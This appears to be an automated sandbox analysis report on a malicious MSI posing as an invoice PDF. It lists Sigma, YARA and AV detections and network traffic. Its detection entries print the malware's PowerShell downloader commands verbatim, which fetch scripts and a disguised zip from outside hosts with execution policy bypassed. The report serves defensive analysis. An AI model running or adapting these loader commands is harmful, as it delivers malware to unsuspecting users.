Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command "if (-not (Test-Path 'C:\temp')) { New-Item -ItemType Directory -Path 'C:\temp' -Force | Out-Null } try { Invoke-WebRequest -Uri 'http://192.124.216.14/vd/sis/DownSistem.ps1' -OutFile 'C:\temp\DownSistem.ps1' -UseBasicParsing Write-Output 'Arquivo DownSistem.ps1 baixado com sucesso em C:\temp\DownSistem.ps1' } catch { Write-Output 'Erro ao baixar o arquivo DownSistem.ps1: ' exit 1 }", CommandLine: PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command "if (-not (Test-Path 'C:\temp')) { New-Item -ItemType Directory -Path 'C:\temp' -Force | Out-Null } try { Invoke-WebRequest -Uri 'http://192.124.216.14/vd/sis/DownSistem.ps1' -OutFile 'C:\temp\DownSistem.ps1' -UseBasicParsing Write-Output 'Arquivo DownSistem.ps1 baixado com sucesso em C:\temp\DownSistem.ps1' } catch { Write-Output 'Erro ao baixar o arquivo DownSistem.ps1: ' exit 1 }", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command "if (-not (Test-Path 'C:\temp')) { New-Item -ItemType Directory -Path 'C:\temp' -Force | Out-Null } try { Invoke-WebRequest -Uri 'http://192.124.216.14/vd/sis/DownSistem.ps1' -OutFile 'C:\temp\DownSistem.ps1' -UseBasicParsing Write-Output 'Arquivo DownSistem.ps1 baixado com sucesso em C:\temp\DownSistem.ps1' } catch { Write-Output 'Erro ao baixar o arquivo DownSistem.ps1: ' exit 1 }", ProcessId: 6704, ProcessName: powershell.exe

Sigma detected: Suspicious MsiExec Embedding Parent

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse | Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloadedFile -NewName $zipFile -ErrorAction Stop Expand-Archive -Path $zipFile -DestinationPath $extractedFolder -Force -ErrorAction Stop Write-Output 'Processo de extra o completado com sucesso.' } catch { Write-Output 'Erro durante o processo: $($_.Exception.Message)' Start-Sleep -Seconds 30 # Espera antes de tentar novamente } } exit # Encerra o script ap s sair do loop }", CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse | Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloaded

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7188, TargetFilename: C:\Users\user\AppData\Local\Temp\swfob4yn.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss82F.ps1" , CommandLine: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss82F.ps1" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding 7499E4E7F1DA1FA24C606FAD5E4A5918, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 7068, ParentProcessName: msiexec.exe, ProcessCommandLine: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss82F.ps1" , ProcessId: 6344, ProcessName: powershell.exe

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6344, TargetFilename: C:\temp\ShowUpdateScreen.ps1

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7736, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\swfob4yn.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\swfob4yn.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\ShowUpdateScreen.ps1, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7188, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\swfob4yn.cmdline", ProcessId: 5900, ProcessName: csc.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Fatura931Pendente956.pdf761.msi	ReversingLabs: Detection: 15%
Source: Fatura931Pendente956.pdf761.msi	Virustotal: Detection: 18%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.4% probability

Phishing

AI detected suspicious URL

Source: Email	Joe Sandbox AI: AI detected Brand spoofing attempt in URL: https://1mp3.org
Source: Email	Joe Sandbox AI: AI detected Typosquatting in URL: https://1mp3.org

Source: unknown	HTTPS traffic detected: 185.15.58.240:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.134.82.79:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49761 version: TLS 1.2

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: c:
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Jump to behavior

Networking

Yara detected MalDoc

Source: Yara match	File source: Fatura931Pendente956.pdf761.msi, type: SAMPLE
Source: Yara match	File source: C:\Windows\Installer\6605ad.msi, type: DROPPED

Source: Joe Sandbox View	IP Address: 185.15.58.240 185.15.58.240
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 2.20.68.201
Source: unknown	TCP traffic detected without corresponding DNS query: 2.20.68.201
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63

Source: global traffic	HTTP traffic detected: GET /wikipedia/commons/3/3f/Windows-loading-cargando.gif HTTP/1.1User-Agent: Mozilla/5.0Host: upload.wikimedia.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /41J4DHL/logo.png HTTP/1.1User-Agent: Mozilla/5.0Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fatura/fatura.html HTTP/1.1Host: yqvn-6391824-metaflux-xytrmnwl-246.1mp3.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: yqvn-6391824-metaflux-xytrmnwl-246.1mp3.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=pUKlWy8r8hOh1dd&MD=SCW4XbB1 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /file/d/1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh/view HTTP/1.1Host: drive.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /drive-viewer/AKGpihZPTHurC_3PW-2mxVQGbyRSA02YDwGWm31Pu-kWjYQqnRfl-419jEo_DsKMuyADdk5RKszAeHLh6u1-4TXiuUDclJjpgWevTjw=s1600-rw-v1 HTTP/1.1Host: drive.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://drive.google.com/file/d/1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh/viewAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=r2TB4m_YAZM4dp5vzYePnCmkAZajuL0XEfUG6Cc1tg8muVcT-nh8rS0SiMIc9FaF38HHg5Yo-0yQ7GiCHX5oMh3OEJzTiLokBOScIf0AX500nQpF9Nlrqa0O8L7DvI0UyOW7ctXHdDJPp-ie0Kd85-Jk2v8h6vpbbiGTf_bF-iyuSlurSi5_RN8
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=pUKlWy8r8hOh1dd&MD=SCW4XbB1 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /auth_warmup HTTP/1.1Host: drive.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://drive.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=r2TB4m_YAZM4dp5vzYePnCmkAZajuL0XEfUG6Cc1tg8muVcT-nh8rS0SiMIc9FaF38HHg5Yo-0yQ7GiCHX5oMh3OEJzTiLokBOScIf0AX500nQpF9Nlrqa0O8L7DvI0UyOW7ctXHdDJPp-ie0Kd85-Jk2v8h6vpbbiGTf_bF-iyuSlurSi5_RN8
Source: global traffic	HTTP traffic detected: GET /drivesharing/clientmodel?id=1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh&foreignService=texmex&authuser=0&origin=https%3A%2F%2Fdrive.google.com HTTP/1.1Host: drive.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://drive.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=r2TB4m_YAZM4dp5vzYePnCmkAZajuL0XEfUG6Cc1tg8muVcT-nh8rS0SiMIc9FaF38HHg5Yo-0yQ7GiCHX5oMh3OEJzTiLokBOScIf0AX500nQpF9Nlrqa0O8L7DvI0UyOW7ctXHdDJPp-ie0Kd85-Jk2v8h6vpbbiGTf_bF-iyuSlurSi5_RN8
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
